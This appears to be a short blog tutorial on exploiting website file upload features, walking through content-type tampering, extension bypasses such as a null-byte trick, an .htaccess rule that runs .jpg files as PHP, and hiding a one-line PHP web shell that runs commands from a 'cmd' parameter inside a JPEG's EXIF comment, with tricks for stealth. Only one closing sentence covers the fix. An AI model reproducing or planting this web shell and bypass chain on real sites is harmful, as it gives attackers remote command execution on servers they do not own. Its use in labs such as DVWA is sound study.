File upload vulnerabilities : appending PHP code to an image

Several ways may be used to protect a file upload functionality on a website.

A first method is content-type checking, which can be easily bypassed with a intercepting proxy (tampering the MIME type). The screenshot below shows an intercepted request where the attacker modifies the content-type (beforehand text/php) and then forwards the content to the server:

HTTP POST content-type tampering

HTTP POST content-type tampering

Thus, the content-type filtering is bypassed.

Another method consists in checking the file name extension. If simple bypasses like playing with lowercase (.PHP instead of .php), using multiple extension (.php.foo) or triggering the NULL byte (.php%00.jpg) do not work, there is a last chance by uploading a crafted image.

JPEG files are convenient for code injection: they support EXIF metadata, which include a comment field where anything can be written, as long as it is on a single line.

So, when a web server parses the image content, it may interpret the PHP code inside if it is improperly secured.

The method is however totally dependent on the ability to upload a .htaccess file, which may be a long way to go.

Though, one advantage of using an image in most upload vulnerability exploitation cases is stealth: an image will always look less suspicious than a dropped .php file.

Anyway, for fun, here is how to do:

  1. Upload a .htaccess file that contains:
    AddType application/x-httpd-php .jpg
  2. Take a JPEG file of your choice, install the jhead tool (there are many alternatives, like exiftool, but this one is straightforward).
  3. House-keeping (delete extra headers):
    jhead -purejpg <filename>.jpg
  4. Edit EXIF JPEG comment:
    jhead -ce <filename>.jpg
  5. Copy / paste your PHP code, like this one for instance (must fit in one line):
    <style>body{font-size: 0;}h1{font-size: 12px}</style><h1><?php if(isset($_REQUEST['cmd'])){system($_REQUEST['cmd']);}else{echo '<img src="./clean_imagejs';}__halt_compiler();?></h1>

    This code just reads a command from the cmd parameter when it is set. If it is absent, then for more discretion it displays another image (clean_image.jpg, that you would have uploaded previously, for instance). The CSS style trick (font size of 0) just hides some garbage that comes from the JPEG header.

  6. Just upload the file and test it! DVWA is a convenient and safe way for that.

Note this nice article as a reference on the topic, and the solution that is suggested to fix such a vulnerability: disabling one way or another script execution on the upload directory and use random server-side file renaming.